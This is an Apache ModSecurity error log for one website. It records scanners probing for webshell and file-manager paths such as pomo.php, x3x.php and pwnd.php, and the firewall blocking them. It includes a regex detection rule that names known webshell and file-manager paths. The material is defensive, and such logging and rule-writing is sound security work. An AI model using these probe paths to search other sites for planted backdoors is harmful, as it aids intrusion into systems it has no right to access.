[Sun Apr 12 05:06:48.516038 2026] [:error] [pid 26567:tid 26592] [client 20.220.11.224:29591] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/date.php"] [unique_id "adq36HhRpg6ptWFyFx3w3wAAARc"]
[Sun Apr 12 05:06:53.921979 2026] [:error] [pid 25437:tid 25443] [client 20.220.11.224:29643] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pomo.php"] [unique_id "adq37Xf97wYZje1ep_NKoQAAAMQ"]
[Sun Apr 12 05:06:59.123770 2026] [:error] [pid 25328:tid 25408] [client 20.220.11.224:29571] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pomo.php"] [unique_id "adq388xUaQZxT-e0YsDNEwAAAFg"]
[Sun Apr 12 05:07:06.232477 2026] [:error] [pid 60280:tid 60302] [client 20.220.11.224:29637] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adq3-nBlLnDOYuIykkjRyQAAAdQ"]
[Sun Apr 12 05:07:09.565729 2026] [:error] [pid 25329:tid 25399] [client 20.220.11.224:29668] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adq3_WdcIYsS8Iyaj10obwAAAI0"]
[Sun Apr 12 05:07:10.860059 2026] [:error] [pid 26600:tid 26650] [client 20.220.11.224:29665] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adq3_u1YwAZiXhQKLYptIwAAAZU"]
[Sun Apr 12 05:07:13.360414 2026] [:error] [pid 25328:tid 25396] [client 20.220.11.224:29632] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/pomo.php"] [unique_id "adq4AcxUaQZxT-e0YsDNNAAAAFM"]
[Sun Apr 12 05:07:15.659120 2026] [:error] [pid 25437:tid 25454] [client 20.220.11.224:29695] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/pomo.php"] [unique_id "adq4A3f97wYZje1ep_NKtQAAAM8"]
[Sun Apr 12 05:07:19.370450 2026] [:error] [pid 26600:tid 26630] [client 20.220.11.224:29666] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/pomo.php"] [unique_id "adq4B-1YwAZiXhQKLYptLgAAAYE"]
[Sun Apr 12 05:07:22.219779 2026] [:error] [pid 60280:tid 60293] [client 20.220.11.224:29680] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/pomo.php"] [unique_id "adq4CnBlLnDOYuIykkjR0gAAAcs"]
[Sun Apr 12 05:07:25.425951 2026] [:error] [pid 60280:tid 60288] [client 20.220.11.224:29641] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/pomo.php"] [unique_id "adq4DXBlLnDOYuIykkjR0wAAAcY"]
[Sun Apr 12 05:07:27.523344 2026] [:error] [pid 60280:tid 60291] [client 20.220.11.224:29655] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/pomo.php"] [unique_id "adq4D3BlLnDOYuIykkjR1QAAAck"]
[Sun Apr 12 05:07:31.827435 2026] [:error] [pid 26567:tid 26584] [client 20.220.11.224:29577] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/pomo.php"] [unique_id "adq4E3hRpg6ptWFyFx3w9QAAAQ8"]
[Sun Apr 12 05:07:34.517871 2026] [:error] [pid 26599:tid 26606] [client 20.220.11.224:29671] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/pomo.php"] [unique_id "adq4FnG89LXoQbk_rwAwOQAAAUQ"]
[Sun Apr 12 05:07:53.053870 2026] [:error] [pid 25437:tid 25460] [client 20.220.11.224:29585] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/pomo.php"] [unique_id "adq4KXf97wYZje1ep_NK6wAAANU"]
[Sun Apr 12 05:53:55.919384 2026] [:error] [pid 25328:tid 25375] [client 62.197.152.148:47772] [client 62.197.152.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adrC88xUaQZxT-e0YsDmswAAAEk"]
[Sun Apr 12 05:53:57.463943 2026] [:error] [pid 26600:tid 26634] [client 62.197.152.148:58384] [client 62.197.152.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adrC9e1YwAZiXhQKLYp87AAAAYU"]
[Sun Apr 12 05:54:02.310367 2026] [:error] [pid 60280:tid 60306] [client 62.197.152.148:58680] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adrC-nBlLnDOYuIykkjpSwAAAdg"]
[Sun Apr 12 05:54:02.917837 2026] [:error] [pid 26567:tid 26587] [client 62.197.152.148:33716] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adrC-nhRpg6ptWFyFx0BzwAAARI"]
[Sun Apr 12 05:54:03.533843 2026] [:error] [pid 26567:tid 26570] [client 62.197.152.148:33802] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adrC-3hRpg6ptWFyFx0B0wAAAQE"]
[Sun Apr 12 05:54:04.181031 2026] [:error] [pid 60280:tid 60283] [client 62.197.152.148:33880] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adrC_HBlLnDOYuIykkjpZQAAAcE"]
[Sun Apr 12 05:54:04.792396 2026] [:error] [pid 60280:tid 60286] [client 62.197.152.148:33974] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adrC_HBlLnDOYuIykkjpcwAAAcQ"]
[Sun Apr 12 05:54:08.564147 2026] [:error] [pid 26599:tid 26614] [client 62.197.152.148:34030] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "adrDAHG89LXoQbk_rwBDMgAAAUw"]
[Sun Apr 12 05:54:09.173590 2026] [:error] [pid 26599:tid 26610] [client 62.197.152.148:58398] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "adrDAXG89LXoQbk_rwBDOAAAAUg"]
[Sun Apr 12 05:54:09.786056 2026] [:error] [pid 25327:tid 25347] [client 62.197.152.148:58510] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "adrDAS6h2tZEVJo9JFJEZAAAAAs"]
[Sun Apr 12 05:54:10.415188 2026] [:error] [pid 60280:tid 60303] [client 62.197.152.148:58596] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "adrDAnBlLnDOYuIykkjpvAAAAdU"]
[Sun Apr 12 05:54:11.028722 2026] [:error] [pid 25329:tid 25413] [client 62.197.152.148:58678] [client 62.197.152.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "adrDA2dcIYsS8Iyaj10zAAAAAJY"]
[Sun Apr 12 08:54:25.678172 2026] [:error] [pid 60280:tid 60284] [client 43.153.79.218:41006] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adrtQXBlLnDOYuIykkgwwQAAAcI"]
[Sun Apr 12 09:54:13.044887 2026] [:error] [pid 25327:tid 25345] [client 49.235.136.28:34880] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adr7RS6h2tZEVJo9JFJ5xwAAAAk"]
[Sun Apr 12 10:20:19.210517 2026] [:error] [pid 26567:tid 26575] [client 43.135.182.43:45250] [client 43.135.182.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adsBY3hRpg6ptWFyFx1FTAAAAQY"]
[Sun Apr 12 11:35:37.560289 2026] [:error] [pid 25328:tid 25396] [client 20.111.63.225:30964] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adsTCcxUaQZxT-e0YsBy7QAAAFM"]
[Sun Apr 12 11:35:39.436642 2026] [:error] [pid 25437:tid 25453] [client 20.111.63.225:42215] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adsTC3f97wYZje1ep_O7hQAAAM4"]
[Sun Apr 12 11:35:40.988717 2026] [:error] [pid 26600:tid 26649] [client 20.111.63.225:3797] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adsTDO1YwAZiXhQKLYrPRAAAAZQ"]
[Sun Apr 12 11:35:41.800898 2026] [:error] [pid 25328:tid 25408] [client 20.111.63.225:3778] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "adsTDcxUaQZxT-e0YsBy8AAAAFg"]
[Sun Apr 12 11:35:43.568458 2026] [:error] [pid 26599:tid 26607] [client 20.111.63.225:29709] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "adsTD3G89LXoQbk_rwCRWgAAAUU"]
[Sun Apr 12 11:35:44.662041 2026] [:error] [pid 26600:tid 26650] [client 20.111.63.225:49744] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "adsTEO1YwAZiXhQKLYrPSAAAAZU"]
[Sun Apr 12 11:35:46.044149 2026] [:error] [pid 25327:tid 25350] [client 20.111.63.225:47448] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "adsTEi6h2tZEVJo9JFKMXQAAAA4"]
[Sun Apr 12 11:35:46.961478 2026] [:error] [pid 60280:tid 60302] [client 20.111.63.225:23052] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "adsTEnBlLnDOYuIykkiNIwAAAdQ"]
[Sun Apr 12 11:35:48.242139 2026] [:error] [pid 25328:tid 25366] [client 20.111.63.225:47480] [client 20.111.63.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Ipv6.php"] [unique_id "adsTFMxUaQZxT-e0YsBy-AAAAEI"]
[Sun Apr 12 11:35:49.048749 2026] [:error] [pid 26567:tid 26575] [client 20.111.63.225:3782] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "adsTFXhRpg6ptWFyFx1WAwAAAQY"]
[Sun Apr 12 11:35:49.683764 2026] [:error] [pid 26599:tid 26612] [client 20.111.63.225:38976] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "adsTFXG89LXoQbk_rwCRYAAAAUo"]
[Sun Apr 12 11:35:50.663989 2026] [:error] [pid 26599:tid 26618] [client 20.111.63.225:24494] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "adsTFnG89LXoQbk_rwCRYwAAAVA"]
[Sun Apr 12 11:35:51.328364 2026] [:error] [pid 26567:tid 26584] [client 20.111.63.225:3553] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "adsTF3hRpg6ptWFyFx1WBgAAAQ8"]
[Sun Apr 12 11:35:52.323015 2026] [:error] [pid 25437:tid 25460] [client 20.111.63.225:59975] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "adsTGHf97wYZje1ep_O7jwAAANU"]
[Sun Apr 12 11:35:53.710728 2026] [:error] [pid 60280:tid 60292] [client 20.111.63.225:31193] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "adsTGXBlLnDOYuIykkiNJQAAAco"]
[Sun Apr 12 11:35:54.816546 2026] [:error] [pid 25329:tid 25409] [client 20.111.63.225:25806] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "adsTGmdcIYsS8Iyaj113ZwAAAJM"]
[Sun Apr 12 11:35:55.529059 2026] [:error] [pid 25437:tid 25452] [client 20.111.63.225:35008] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "adsTG3f97wYZje1ep_O7lQAAAM0"]
[Sun Apr 12 11:35:56.619330 2026] [:error] [pid 25329:tid 25392] [client 20.111.63.225:48356] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "adsTHGdcIYsS8Iyaj113aAAAAIk"]
[Sun Apr 12 11:35:57.592520 2026] [:error] [pid 60280:tid 60296] [client 20.111.63.225:42988] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "adsTHXBlLnDOYuIykkiNKAAAAc4"]
[Sun Apr 12 11:35:58.268116 2026] [:error] [pid 25328:tid 25373] [client 20.111.63.225:28937] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "adsTHsxUaQZxT-e0YsBy_gAAAEg"]
[Sun Apr 12 11:36:01.474291 2026] [:error] [pid 26599:tid 26626] [client 20.111.63.225:28978] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsTIXG89LXoQbk_rwCRbAAAAVg"]
[Sun Apr 12 11:36:02.495149 2026] [:error] [pid 60280:tid 60304] [client 20.111.63.225:47530] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsTInBlLnDOYuIykkiNLQAAAdY"]
[Sun Apr 12 11:36:03.992874 2026] [:error] [pid 25437:tid 25439] [client 20.111.63.225:48358] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsTI3f97wYZje1ep_O7qgAAAMA"]
